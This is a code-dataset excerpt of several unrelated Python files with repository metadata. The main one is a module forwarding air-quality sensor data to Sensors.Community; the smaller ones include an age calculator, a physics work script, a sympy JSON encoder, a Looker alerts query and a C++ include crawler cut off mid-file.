data dict\ndef post2Community(postTo,postings,ID):\n global Conf, Posts, sense_table\n global HTTP_POST\n def getCategory(PinNr): # get category name like dust, meteo via pin number\n global sense_table\n ctgr = ''\n for cat, types in sense_table.items():\n for nr in types['types'].values():\n if nr == PinNr:\n ctgr = cat; break\n else: continue\n break\n return ctgr\n \n # debug time: do not really post this\n Conf['log'](WHERE(True),'DEBUG',\"HTTP POST ID %s to: %s\" % (ID,', '.join(postTo)))\n for data in postings:\n Conf['log'](WHERE(True),'DEBUG',\"Post headers: %s\" % str(data[0]))\n Conf['log'](WHERE(True),'DEBUG',\"Post json data: %s\" % str(json.dumps(data[1])))\n rts = {}\n for url in postTo:\n host = url.find('://')\n if host > 0: host = url[host+3:url.find('/',host+3)]\n else: # just make a guess\n host = ('api.luftdaten.info' if url.find('luftdaten') > 0 else 'api-rrd.madavi.de')\n if not host in HTTP_POST.keys():\n HTTP_POST[host] = {\n 'queue': Queue.Queue(maxsize=25), 'url': url, # queue size used probably 6 max\n 'stop': False, 'running': False }\n threading.Thread(name='HTTPposter', target=HTTPposter, args=(host,)).start()\n for _ in range(5):\n if HTTP_POST[host]['stop']: return False\n if HTTP_POST[host]['running']: break\n sleep(0.1)\n if not HTTP_POST[host]['running']:\n Conf['log'](WHERE(True),'ERROR',\"Post thread does not run start host %s. Skipping.\" % host)\n Conf['output'] = False\n return False\n\n timeout = 6; errorCnt = 0\n for data in postings:\n errorCnt = 0\n try:\n while HTTP_POST[host]['queue'].full() and errorCnt < 5:\n errorCnt += 1; sleep(timeout+1)\n HTTP_POST[host]['queue'].put((ID,data), timeout=(timeout+1))\n cat = getCategory(int(data[0]['X-Pin'])); IDhost = \"%s@%s\" % (ID,host.split('.')[1])\n try: rts[IDhost].append(cat)\n except: rts[IDhost] = [cat]\n #sleep(self.timeout) # give thread time to do something\n except Queue.Full:\n Conf['log'](WHERE(True),'ATTENT',\"Postage queue full timeout. Skip record to host %s\" % host)\n break\n except:\n Conf['log'](WHERE(True),'ERROR',\"HTTP POST queue put error for host %s. Skipping.\" % host)\n break\n\n if rts:\n return ['%s (%s)' % (a,', '.join(v)) for (a,v) in rts.items() ]\n return False\n\n# publish argument examples\n# info = {\n# 'count': 1,\n# 'id': {'project': u'SAN', 'serial': u'b4e62df4b311'},\n# 'last_seen': 1627828712,\n# 'interval': 240,\n# 'DATAid': u'SAN_b4e62df4b311',\n# 'MQTTid': u'201802215971az/bwlvc-b311',\n# 'valid': 1, # null: indoor measurements\n# 'SensorsID': 1593163787, 'TTNtableID': 1590665967,\n# 'active': 1, # kit active\n# 'location': u'u1hjtzwmqd',\n# 'kit_loc\": 'u1hjtuabc', # current location if not None or '' (at home)\n# 'Luftdaten': u'b4e62df4b311',\n# 'WEBactive': 1,\n# 'sensors': [\n# { 'category': u'dust', 'type': u'PMS7003', 'producer': u'Plantower',\n# 'fields': ((u'pm25', u'ug/m3',[-1.619,1/1.545]), (u'pm10',u'ug/m3',[-3.760,1/1.157]),(u'grain', u'um')),\n# { 'category': u'meteo', 'type': u'BME680', 'producer': u'Bosch',\n# 'fields': ((u'temp', u'C'), (u'aqi', u'%')),\n# { 'category': u'location', 'type': u'NEO-6', 'producer': u'NEO',\n# 'fields': ((u'geohash', u'geohash'), (u'altitude', u'm')),\n# ],\n# 'FromFILE': True,\n# 'CatRefs': ['SDS011'],\n# }\n# record = {\n# 'timestamp': 1629463231, 'version': '2.0.1',\n# 'data': {\n# 'BME680': [(u'temp', 12.8)],\n# 'PMS7003': [(u'pm1', 1.8),(u'pm25', 2.5)], # has unknown field pm25\n# },\n# }\n# artifacts = [ # all known ones\n# 'Forward data', 'Start throttling kit: %%s',\n# 'Skip data. Throttling kit.', 'Unknown kit: %%s',\n# 'Unregistered kit: %%s', 'MQTT id:%%s, %%s kit. Skipped.',\n# 'Raised event: %%s.', 'Updated home location',\n# 'Kit removed from home location', 'New kit',\n# 'Restarted kit', 'Out of Range sensors: %%s',\n# 'Static value sensors: %%s', 'Change of sensor types: %%s -> %%s',\n# 'Measurement data format error', 'No input resources',\n# 'End of iNput Data', 'Fatal error on subscriptions',],\n# ]\n\n# Luftdaten API nomenclature and ID codes:\n# see eg https://github.com/opendata-stuttgart/sensors-software/blob/master/airrohr-firmware/defines.h\nsense_table = {\n # \"location\": { \"types\": { 'NEO6M': pin 9 },\n # \"translate\": {'GPS_lat': { 'latitude' },'GPS_lon': {'longitude'},\n # 'GPS_alt': {'altitude'}, 'GPS_timestamp': {'timestamp'} }, }, # To be completed\n # \"noise\": { \"types\": { 'DNMS': pin 15 }, \"translate\": {'noise?': {'noise?','dB'}} }, # To Do\n \"meteo\": {\n # X-Pin codes as id used by Luftdaten for meteo sensors\n # from airrohr-firmware/ext_def.h\n \"types\": { # To Do: add calibration info from database table SensorTypes\n 'BME280': 11, # BME680 pin nr is a guess\n 'DEFLT': 'BME280', # for SHT3*, BME* use this as default\n 'BMP280': 3,\n 'DHT22': 7, 'HTU21D': 7, 'SHT31': 7,\n 'DS18B20': 13,\n },\n 'translate': {\n \"temperature\": {'temperature','temp','dtemp',},\n \"humidity\": {'humidity','hum','rv','rh',},\n \"pressure\": {'pres','pressure','luchtdruk',},\n }\n },\n \"dust\": {\n # X-Pin codes as id used by Luftdaten for dust sensors\n # TO DO: complete the ID codes used by Luftdaten\n \"types\": {\n 'SPS30': 1, # seems default if pm1 is needed to support\n 'SDS011': 1, # community does not calibrate towards DEFLT (historical reasons)\n 'DEFLT': 'SPS30', # for PMS, SPS, NPM use this as default\n 'HPM': 25, 'PPD42NS': 5, 'SHINEY': 5,\n\n # To Do: calibration should come from DB table SensorTypes\n # calibration here is from summer Jun-Sep 2020 Vredepeel ca 9.000 samples\n # sensor type: (pin nr, { field: [Taylor seq], cache time to live), ...\n 'PMSx003': (1,{'pm1': [1.099,1/1.835],'pm25':[1.099,1/1.835],'pm10':[-2.397,1/1.666]},0),\n 'PMSX003': (1,{'pm1': [1.099,1/1.835],'pm25':[1.099,1/1.835],'pm10':[-2.397,1/1.666]},0),\n 'PMS5003': (1,{'pm1': [1.099,1/1.835],'pm25':[1.099,1/1.835],'pm10':[-2.397,1/1.666]},0),\n 'PMS6003': (1,{'pm1': [1.099,1/1.835],'pm25':[1.099,1/1.835],'pm10':[-2.397,1/1.666]},0),\n 'PMS7003': (1,{'pm1': [1.099,1/1.835],'pm25':[1.099,1/1.835],'pm10':[-2.397,1/1.666]},0),\n # 'SDS011': (1,{'pm25':[2.163,0.7645],'pm10':[1.689,0.6323]},0),\n },\n 'translate': {\n \"P0\": {'pm1','pm1_atm','P0'}, # should be P01\n \"P1\": {'pm10','pm10_atm','P1'}, # should be P10\n \"P2\": {'pm2.5','pm25','P2'}, # should be P25\n \"N05\": {'pm5_cnt','N05'}, # dust count PM0.5\n \"N1\": {'pm1_cnt','N1'}, # dust count PM0.5\n \"N25\": {'pm25_cnt','N25'}, # dust count PM2.5\n \"N4\": {'pm4_cnt','N4'}, # dust count PM4\n \"N10\": {'pm10_cnt','N10'}, # dust count PM10\n # missing avg grain size, PMS: N03, N5\n }\n },\n}\n\n# update sense_table cached calibration info from database if possible\n# returns (pin nr, { sensor type to be calibrated, Taylor seq }).\n# To Do: maybe on failure should try again after a while\ndef getCalDB(SType,category):\n global Conf, sense_Table\n if not Conf['calibrate']: return {}\n try: entry = category['types']\n except: return None\n try:\n if not Conf['calibrate']: # do not calibrate\n try: return (entry[SType],{})\n except: return (entry[entry['DEFLT']],{})\n if type(entry[SType]) is int: return (entry[SType],{}) # has pin nr, no calibration\n elif type(entry[SType]) is tuple: # has pin nr, calibration, DB entry ttl\n if len(entry[SType]) > 2:\n if time() < entry[SType][2]: return entry[SType][:2] # pin,cal,ttl OK\n try:\n if not Conf['DB']: return entry[SType][:2] # cannot use DB table for calibration info\n except: pass\n elif not entry[SType]: return None\n except: pass\n\n try: # try to get calibration from DB table SensorTypes\n refSType = None\n for one in entry.keys():\n if one != 'DEFLT' and entry[one] == entry[entry['DEFLT']]:\n refSType = one; break\n if not refSType:\n raise ValueError(\"Missing default sensor ref type %d\" % refType)\n cals = {}\n flds = Conf['DB'].db_query(\"SELECT fields FROM SensorTypes WHERE product = '%s'\" % SType, True)[0][0]\n if len(flds):\n flds = flds.split(';')\n # list of eg pm10,ug/m3,SDS011/-3.7600/0.8643|SPS30/-2.3970/0.6002|BAM1020/13.6900/0.2603\n for fld in flds:\n fld = fld.split(',') # [field,unit,ref type/T1/T2]\n if len(fld) > 2: # has calibration info\n for cal in fld[2].split('|'):\n cal = cal.split('/') # [ref sensor type, Taylor args ...]\n if cal[0].upper() != refSType.upper(): continue # only need to info\n cals[fld[0]] = [float(a) for a in cal[1:]]\n entry[SType] = (entry[entry['DEFLT']],cals,int(time())+24*60*60) # TTL one day\n return entry[SType][:2]\n except: pass\n return None\n\n# return Taylor sequence correction\ndef Taylor(avalue,seq,positive=False):\n if avalue == None: return None\n if not seq: return avalue\n rts = 0; i = 0\n try:\n for v in seq:\n rts += v*avalue**i; i += 1\n except: rts = avalue\n return (rts if rts > 0.0 else 0.01) if positive else rts\n\n# make the value a calibrated value\ndef getCal(calibrations,field,value,PM=False):\n if not type(calibrations) is dict: return value\n for one,cal in calibrations.items():\n if field.lower() == one.lower(): return Taylor(value,cal,positive=PM)\n return value\n\n# turn values into a list of tuples (pin, field, value) to be sent\n# calibrate the value if needed and instructed\ndef SensorData(SType,values,info):\n global sense_table # DB cache with sensor type information\n rts = [] # list of (pin,field,value)\n Sflds = {}\n try:\n # forget sensor types not in info as dict\n for sens in info['sensors']:\n if not type(sens) is dict: continue\n if type(sens['match']) in [str,unicode]:\n sens['match'] = re.compile(sens['match'],re.I)\n if sens['match'].match(SType):\n Sflds = sens; break\n except: return []\n if not Sflds: return []\n try:\n s_tble_entry = sense_table[Sflds['category']]\n calibrations = []; pin = None\n pin, calibrations = getCalDB(SType,s_tble_entry)\n for val in values: # val = (sensor field,value,unit) # unit is optional\n # (calibration seq, field, value, is dust?)\n field = None; value = val[1]\n value = getCal(calibrations,val[0],value,PM=(Sflds['category']=='dust'))\n try:\n for item, tr in s_tble_entry['translate'].items():\n # translate field name into Sensors Community field name\n if val[0] in tr:\n field = item; break\n except: pass\n if not field or not pin: continue # field not supported, or pin not defined\n # we have now sensor Stype, field name, value, sensor type ref for calibration\n # Community API corrections\n if field == 'pressure': value = int(value*100) # hPa -> Pa unit\n else: value = round(value,2) # API uses round 2 decimals\n rts.append((pin, field, value))\n except: return []\n return rts\n\n# entry point to forward measurements to measurements table in the database\n# returns:\n# True: OK stored, False: no data to be stored\n# string: failure reason on output\n# list of strings: ok : string which one of the sub output channels had result\n# raised event on failure in eg connection, query error\nskip = re.compile(r'(Skip data|Unregistered|Raised event|End of).*')\ndef publish(**args):\n global Conf, notMatchedSerials\n if (not 'output' in Conf.keys()) or (not Conf['output']):\n return \"Sensor Community forwarding disabled\"\n try:\n info = args['info']; data = args['data']; artifacts = args['artifacts']\n try:\n # do not forward data from input file in debug modus\n if info['FromFILE'] and Conf['DEBUG']: return True\n except: pass\n except: return \"ERROR in publish() arguments\"\n try: timestamp = data['timestamp']\n except: timestamp = None\n if 'data' in data.keys() and type(data['data']) is dict and len(data['data']):\n data = data['data']\n else: return False # no data to forward\n\n # skip records not to forward to Sensors.Community\n if not 'Forward data' in artifacts: return \"Forwarding to Sensors.Community disabled\"\n reasons = []\n for one in ['id','active','Luftdaten','valid','kit_loc']:\n try:\n if one == 'kit_loc' and one in info.keys() and info[one]:\n reasons.append('kit not at home')\n elif not info[one]: reasons.append('no '+one)\n except: reasons.append('not defined: %s' % one)\n if reasons:\n return \"Disabled: '%s'\" % ','.join(reasons)\n for one in artifacts:\n if skip.match(one): return \"Sensors.Community skipping: %s\" % str(one)\n\n if not registrate(): # initialize once\n Conf['log'](WHERE(True),'WARNING',\"Unable to registrate the sensor.\")\n return \"ERROR Sensors.Community registration failure\"\n\n try:\n if Conf['notForwarded'].match(info['id']['project']+'_'+info['id']['serial']):\n return \"Forwarding to Sensors.Community disabled for %s\" % (info['id']['group']+'_'+info['id']['serial'])\n except: return \"ERROR no id defined for %s\" % str(info['id'])\n\n # find sensor data to forward from the data record\n # to be done: wifi 'signal', min_micro, max_micro, samples, interval\n data2send = {}\n for one,values in data.items():\n for item in SensorData(one,values,info):\n try: data2send[item[0]].append(item[1:])\n except: data2send[item[0]] = [item[1:]]\n if data2send: return send2Community(info,data2send,timestamp)\n return False\n\n# test main loop\nif __name__ == '__main__':\n Conf['output'] = True\n import MyDB\n Conf['DB'] = MyDB\n MyDB.Conf['hostname'] = 'localhost'\n\n from time import sleep\n try:\n import Output_test_data\n except:\n print(\"Please provide input test data: ident and data.\")\n exit(1)\n\n for one in Output_test_data.data:\n timings = int(time())\n try:\n result = publish(\n info=one['info'],\n data = one['record'],\n artifacts = one['artifacts'],\n )\n try:\n if type(result) is list:\n print(\"Record ID %s, sent OK: %s\" % (str(one['info']['id']),', '.join(result)))\n elif type(result) is bool:\n print(\"Record ID %s, result: %s\" % (str(one['info']['id']),'FAILED' if not result else 'OK nothing to send'))\n else: # result message\n print(\"Record ID %s, result: %s\" % (str(one['info']['id']),str(result)))\n except:\n print(\"Record ID NOT DEFINED, result: %s\" % (str(result)))\n except Exception as e:\n print(\"output channel error was raised as %s\" % e)\n timings = 5 - (int(time())-timings)\n if timings > 0:\n print(\"Sleep for %d seconds\" % timings)\n sleep(timings)\n\n Conf['stop']() # stop HTTP POST threads\n # just a hack to exit also with blocked threads\n import os\n import signal\n import platform\n # get the current PID for safe terminate server if needed:\n PID = os.getpid()\n if platform.system() != 'Windows':\n os.killpg(os.getpgid(PID), signal.SIGKILL)\n else:\n os.kill(PID, signal.SIGTERM)\n\n","repo_name":"teusH/MySense","sub_path":"MyDatacollector/lib/MyCOMMUNITY.py","file_name":"MyCOMMUNITY.py","file_ext":"py","file_size_in_byte":35046,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"3"} +{"seq_id":"17835625927","text":"from datetime import datetime\n\n\ndef calcularIdade():\n data_atual = datetime.now()\n ano_atual = data_atual.year\n\n nome_usuario = str(input('Qual o seu nome?\\nr : '))\n if nome_usuario == \"\":\n nome_usuario = \"Nome não informado\"\n print('')\n diaUser = int(input(' -> Dia do seu nascimento : '))\n mesUser = int(input(' -> Mês do seu nascimento : '))\n anoUser = int(input(' -> Ano do seu nascimento : '))\n print(f' -> Data de nascimento : \\033[36m{diaUser}/{mesUser}/{anoUser}\\033[m')\n\n #Calculo positivo para a idade\n idadeUser = ano_atual - anoUser\n if idadeUser < 0:\n idadeUser *= -1\n\n diaVivid = idadeUser * 365\n mesVivid = idadeUser * 12\n\n print('-' *60)\n print(f'Dados de {nome_usuario}\\nIdade: {idadeUser}anos\\nMeses: {mesVivid} meses\\nDias: {diaVivid} dias')\n print('-' *60)\n\n\n# =====\nif __name__ == '__main__':\n calcularIdade()","repo_name":"Baku-Stark/pythonEXE","sub_path":"Python Challenger/No 014 - Calculate Age/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12356265563","text":"import math\n\nmass = 27\nvelocity = 8\n(x0, y0) = (0, 0)\n(x1, y1) = (2, 7)\n\n\ndef friction_force(vx, vy):\n v = (vx**2 + vy**2) ** 0.5\n return (-v * vx, -v * vy)\n\n\ndef gravity_force():\n return (0, -mass * 9.807)\n\n\ndx = x1 - x0\ndy = y1 - y0\n\nd = (dx**2 + dy**2) ** 0.5\ndx /= d\ndy /= d\n\nstep_size = 0.0001\nnum_steps = int(d / step_size)\nwork = 0\nfor step in range(num_steps):\n x = x0 + step * step_size * dx\n y = y0 + step * step_size * dy\n\n (vx, vy) = (velocity * dx, velocity * dy)\n (fx, fy) = friction_force(vx, vy)\n (gx, gy) = gravity_force()\n\n # total force\n (ffx, ffy) = (fx + gx, fy + gy)\n\n dot = ffx * dx + ffy * dy\n work -= dot * step_size\n\nprint(work)\n","repo_name":"pothos-dev/study","sub_path":"Physik M/Gewicht heben.py","file_name":"Gewicht heben.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2018893990","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Khaled Ghobashy\n\"\"\"\n# Standard library imports\nimport os\nimport sys\nimport json\nimport inspect\n\n# 3rd party library imports\nimport sympy as sm\n\n# Local applicataion imports\nfrom .....symbolic.components.matrices import AbstractMatrix, vector, quatrenion\nfrom .....symbolic.systems.configuration_classes import Simple_geometry, Equal_to\n\n################################################################################\n\nclass Encoder(json.JSONEncoder):\n \"\"\"\n A subclass of the `json.JSONEncoder` that over-rides the `default` method\n that calls a custom `JSONify` function that returns a compatibale type\n that can be serialzed in JSON.\n \"\"\"\n \n def default(self, obj):\n return JSONify(obj)\n\n################################################################################\n################################################################################\n\ndef JSONify(instance):\n \"\"\"\n A function that takes in a symbolic object or a class and returns a \n compatibale type that can be serialzed in JSON.\n\n TODO:\n DataTypes map\n \"\"\"\n\n # check if the given instance is a class\n if inspect.isclass(instance):\n constructor = instance.__name__\n return constructor\n \n # check if the given instance is a basic scalar data type that can be \n # understod by the JSON encoder directly.\n if isinstance(instance, (str, float, int, bool)):\n return instance\n \n # check if the given instance is a basic sequence/iterable data type that \n # can be understod by the JSON encoder directly.\n elif isinstance(instance, dict):\n return {k: JSONify(v) for k,v in instance.items()}\n \n elif isinstance(instance, list):\n alias = [JSONify(value) for value in instance]\n return alias\n \n elif isinstance(instance, (tuple, sm.Tuple)):\n alias = tuple(JSONify(value) for value in instance)\n return alias\n \n # Conversions of basic symbolic scalars / symbols to JSON\n elif isinstance(instance, (sm.Number,)):\n return float(instance)\n \n elif isinstance(instance, (vector, quatrenion, sm.Symbol)):\n text = str(instance)\n return text\n \n # Conversion of sympy matrices.\n elif isinstance(instance, (sm.ImmutableDenseMatrix, sm.MutableDenseMatrix)):\n if 1 in instance.shape:\n alias = [JSONify(value) for value in instance]\n else:\n alias = [JSONify(value) for value in instance.tolist()]\n data_object = {'constructor': 'array', 'args': alias}\n return data_object\n \n # Conversion of symbolic geometries.\n elif isinstance(instance, tuple(Simple_geometry.__subclasses__())):\n constructor = JSONify(instance.__class__)\n args = [JSONify(arg) for arg in instance.args]\n data_object = {'constructor': constructor, 'args': args}\n return data_object\n \n # Conversion of symbolic geometries.\n elif isinstance(instance, tuple(AbstractMatrix.__subclasses__())):\n constructor = JSONify(instance.__class__)\n args = [JSONify(arg) for arg in instance.args]\n data_object = {'constructor': constructor, 'args': args}\n return data_object\n \n # Conversion of Lambda functions.\n elif isinstance(instance, (sm.Function, sm.Lambda)):\n constructor = JSONify(instance.__class__)\n args = [JSONify(arg) for arg in instance.args]\n data_object = {'constructor': constructor, 'args': args}\n return data_object\n \n # Fall back to basic string message if datatype not included in previous\n # casses.\n else:\n return 'Data type not supported'\n \n\n################################################################################\n################################################################################\n\nclass generator(object):\n \"\"\"\n This class serves as a \n \"\"\"\n\n def __init__(self, sym_config):\n\n self.config = sym_config\n\n self.configuration_name = self.config.name\n self.topology_name = self.config.topology.name\n \n self.graph = self.config.graph\n\n self.input_nodes = self.config.input_nodes\n self.output_nodes = self.config.output_nodes\n self.intermediat_nodes = self.config.intermediat_nodes\n\n self.primary_equalities = self.config.primary_equalities\n self.geometries_map = self.config.geometries_map\n\n self.data = self.construct()\n\n def write_JSON_file(self, file_path=''):\n name = '%s.json'%self.configuration_name\n file_name = os.path.join(file_path, name)\n json_text = self.dump_JSON_text()\n\n with open(file_name, 'w') as f:\n f.write(json_text)\n \n def dump_JSON_text(self):\n data = self.construct()\n json_text = json.dumps(data, cls=Encoder, indent=4)\n return json_text\n \n def construct(self):\n config_info = {}\n config_info['topology_name'] = self.topology_name\n config_info['configuration_name'] = self.configuration_name\n config_info['subsystem_name'] = ''\n \n data = {}\n data['information'] = config_info\n data['user_inputs'] = self.construct_data_dict(self.input_nodes)\n data['evaluations'] = self.construct_data_dict(self.intermediat_nodes)\n data['outputs'] = self.construct_data_dict(self.output_nodes)\n data['geometries_map'] = self.geometries_map\n return data\n\n \n def construct_data_dict(self, nodes):\n storage_dict = {}\n for node in nodes:\n feeding_nodes = self.get_feeding_nodes(node)\n\n if len(feeding_nodes) == 1 and issubclass(self.graph.nodes[node]['rhs_function'], Equal_to):\n n = feeding_nodes[0]\n storage_dict[node] = self.check_attribute_access((n, node))\n \n else:\n sym_equality = self.graph.nodes[node]['equality']\n storage_dict[node] = JSONify(sym_equality.rhs)\n return storage_dict\n \n\n def check_attribute_access(self, edge):\n parent_node = edge[0]\n attribute = self.graph.edges[edge]['passed_attr']\n if attribute:\n data_dict = {'constructor': 'getattribute', \n 'args': [parent_node, attribute]}\n return data_dict\n else:\n return parent_node\n \n def get_feeding_nodes(self, node):\n return list(self.graph.predecessors(node))\n \n\n \n \n\n\n\n\n","repo_name":"khaledghobashy/uraeus_smbd","sub_path":"uraeus/smbd/utilities/serialization/structural/json/configuration_encoder.py","file_name":"configuration_encoder.py","file_ext":"py","file_size_in_byte":6511,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"4988215524","text":"\ndef fibo(m): \n if m == 1 or m == 2: #기본적으로 피보나치는 (n-1)+(n-2)이기 때문\n return 1\n else:\n return fibo(m-1) + fibo(m-2)\n\n\nn = int(input()) #피보 함수에 넣는 값을 n 이라지정\n\nans = fibo(n) # n을 넣었을 때 값을 ans라 지정\n\n\nprint(ans)","repo_name":"rlagudals95/Algorythm","sub_path":"algoprac/재귀함수실습.py","file_name":"재귀함수실습.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10934578883","text":"import csv\nimport json\n\nwith open(\"../../us-county-cases.json\", \"r\") as infile:\n xstr = infile.read()[13:]\n x = json.loads(xstr)\n\nf = csv.writer(open(\"../../donut/test.csv\", \"w+\"))\n\n# Write CSV Header, If you dont need that, remove this line\nf.writerow([\"County\", \"State\", \"Cases\", \"Percentage\"])\n\ncases = []\nstate_dict = {}\nfor col in x:\n cases.append(col[\"cases\"][len(col[\"cases\"])-1])\n try:\n state_dict[col[\"state\"]].append(col[\"cases\"][len(col[\"cases\"])-1])\n except:\n state_dict[col[\"state\"]]= []\n state_dict[col[\"state\"]].append(col[\"cases\"][len(col[\"cases\"])-1])\n\n\nj = 0\nfor col in x:\n f.writerow([\n col[\"county\"],\n col[\"state\"],\n cases[j],\n str(cases[j]/sum(state_dict[col[\"state\"]]))])\n j += 1","repo_name":"sevans09/covid-movement-vis","sub_path":"data/cases-data/gen_csv_data.py","file_name":"gen_csv_data.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"33398656066","text":"\"\"\"Gaussian basis set tests.\"\"\"\n\nimport glob, math, os\n\nfrom collections import defaultdict\nfrom pCore import logFile , \\\n TestScriptExit_Fail , \\\n YAMLMappingFile_ToObject\nfrom pMolecule.QCModel.GaussianBases import GaussianBasis , \\\n GaussianBasisType\n\n#===================================================================================================================================\n# . Script.\n#===================================================================================================================================\n# . Header.\nlogFile.Header ( )\n\n# . Paths.\ndataPath = os.path.join ( os.getenv ( \"PDYNAMO3_PARAMETERS\" ), \"gaussianBasisSets\" )\nsources = [ path for path in glob.glob ( os.path.join ( dataPath, \"*\" ) ) if os.path.isdir ( path ) ]\n\n# . Initialization.\nbasisTypes = defaultdict ( int )\nmaximumDeviation = 0.0\nnDeviations = 0\nnFails = 0\nnSets = 0\nnSpherical = 0\n_Tolerance = 5.0e-03\n\n# . Loop over basis sets.\nfor source in sorted ( sources ):\n for path in sorted ( glob.glob ( os.path.join ( source, \"*.yaml\" ) ) ):\n basis = YAMLMappingFile_ToObject ( path, GaussianBasis )\n report = basis.Orthonormalize ( )\n deviation = report[\"Maximum Deviation\"]\n nSets +=1\n if basis.isSpherical : nSpherical += 1\n if report[\"Status\"] != 0 : nFails += 1\n if deviation > _Tolerance:\n nDeviations += 1\n logFile.Paragraph ( \"Tolerance exceeeded for {:s} ({:.5g} instead of {:.5g}).\".format ( path, deviation, _Tolerance ) )\n basisTypes[basis.basisType.name] += 1\n maximumDeviation = max ( maximumDeviation, deviation )\n\n# . Summarize the results.\nitems = [ ( \"Number of Sets\" , \"{:d}\".format ( nSets ) ) ,\n ( \"Number of Failures\" , \"{:d}\".format ( nFails ) ) ,\n ( \"Cartesian Sets\" , \"{:d}\".format ( nSets - nSpherical ) ) ,\n ( \"Spherical Harmonic Sets\" , \"{:d}\".format ( nSpherical ) ) ,\n ( \"Number of Deviations\" , \"{:d}\".format ( nDeviations ) ) ,\n ( \"Maximum Deviation\" , \"{:g}\".format ( maximumDeviation ) ) ]\nfor key in sorted ( basisTypes.keys ( ) ):\n n = basisTypes[key]\n if n > 0: items.append ( ( \"{:s} Bases\".format ( key ), \"{:d}\".format ( n ) ) )\nlogFile.SummaryOfItems ( items, order = False, title = \"Gaussian Basis Sets Test Results\" )\n\n# . Footer.\nlogFile.Footer ( )\nisOK = ( nDeviations == 0 ) and ( nFails == 0 )\nif not isOK: TestScriptExit_Fail ( )\n","repo_name":"pdynamo/pDynamo3","sub_path":"examples/pMolecule/GaussianBasisSets.py","file_name":"GaussianBasisSets.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"8219228324","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport looker_sdk\n\nif __name__ == \"__main__\":\n sdk = looker_sdk.init40()\n\n alerts = sdk.search_alerts(all_owners=True)\n users = sdk.all_users(fields=\"id, is_disabled\")\n\n disabled_user_ids = [u.get(\"id\") for u in users if u.get(\"is_disabled\")]\n\n for a in alerts:\n if a.get(\"owner_id\") in disabled_user_ids:\n print(a)\n print()\n","repo_name":"kxzk/regarder","sub_path":"alerts.py","file_name":"alerts.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22039348274","text":"import re\n# import os\nimport sys\nimport glob\n\n\nsys.setrecursionlimit(10**6)\n\n# going to go through every file in ABSOLUTE DIRECTORY that matches:\n\t# *.hpp\n\t# *.h\n\t# *.cpp\n\t# *.c\n\t# *.cc\n\n# in each file just grab the includes\n\n# myPath = input(\"Input the direct path\\n\")\n\nERROR_ENUM = {\n\t\"ERROR: RECURSIVE INCLUSION\":-1,\n\t\"ERROR: FILE NOT FOUND\":-2\n}\n\nsourceFiles = []\nheaderFiles = []\nfiles = []\n\nfilePatterns = [\"*.hpp\",\"*.h\",\"*.cpp\",\"*.c\",\"*.cc\",\"*.ipp\"] # some weird include format\n\n# \"/home/matt/Desktop/Work/UHD/uhd/\"\ndirPath = \"/home/matt/Desktop/Work/UHD/uhd/\"\n\nfor filePattern in filePatterns:\n\t# print(\"{}: {}\".format(loop,len(glob.glob(dirPath+\"**/\"+filePattern,recursive=True))))\n\tfiles.extend(glob.glob(dirPath+\"**/\"+filePattern,recursive=True))\n\tif(\"*.h\" in filePattern or filePattern == \"*.ipp\"):\n\t\theaderFiles.extend(glob.glob(dirPath+\"**/\"+filePattern,recursive=True))\n\telse:\n\t\tsourceFiles.extend(glob.glob(dirPath+\"**/\"+filePattern,recursive=True))\n\n# print(headerFiles)\n# for file in headerFiles:\n# \tif(\"mpm/exception.hpp\" in file):\n# \t\tprint(file)\n\noutputStructure = {} # file : {include0 : {include0_0 : {}, include0_1 : {..},..}, include1 : {...},...}\n\n# includePattern = \"#\\s*include\\s+(\\\".+\\\"|<.+>)\"\nincludePattern = \"#\\s*include\\s+(\\\".+\\..+\\\"|<.+\\..+>)\"\nrelPathPattern = \"(?<=\\.\\.\\/)(?=\\w).*$\" # after finding a #include <> or \"\", there may be a string of /../../'s, want to remove all of them\n\t\t\t\t\t\t\t\t\t\t\t# also, if found, remove the / as well since we add it anyway\n\n# safetyCheck represents parent path of recursion, used to prevent forever loops in checking\ndef recursiveSearch(fileIn,safetyCheck=None):\n\t# print(fileIn)\n\tglobal includePattern\n\tglobal ERROR_ENUM\n\tretDict = {}\n\tif(not safetyCheck): # entry vector\n\t\tsafetyCheck = [fileIn]\n\telse:\n\t\tif(fileIn in safetyCheck):\n\t\t\tretDict[fileIn] = ERROR_ENUM[\"ERROR: RECURSIVE INCLUSION\"]\n\t\t\t# print(\"RECURSIVE INCLUSION\")\n\t\t\t# sys.exit(0)\n\t\t\treturn retDict\n\t\t\t# the included fileIn is already in parent dictionary path!\n\t\telse:\n\t\t\tsafetyCheck.append(fileIn)\n\twith open(fileIn,'r') as file:\n\t\t# print(\"recursiveSearch fileIn:\\n{}\\n\".format(fileIn))\n\t\tlines = file.readlines()\n\tfor line in lines:\n\t\tM = re.findall(includePattern,line)\n\t\tif(M): # found the #includ stuff\n\t\t\t# print(line)\n\t\t\tfor match in M:\n\t\t\t\trelM = re.findall(relPathPattern,match)\n\t\t\t\tif(relM):\n\t\t\t\t\tmatch = relM[0][:-1]\n\t\t\t\telse:\n\t\t\t\t\tmatch = match[1:-1]\n\t\t\t\tif(len(relM)>1):\n\t\t\t\t\tprint(\"FATAL ERROR\")\n\t\t\t\t\tsys.exit(0)\n\t\t\t\tretDict[match] = ERROR_ENUM[\"ERROR: FILE NOT FOUND\"]\n\t\t\t\tfoundFlag = False\n\t\t\t\tfor fileCheck in headerFiles:\n\t\t\t\t\t# prepend '/' so that files like boost/config doesn't include 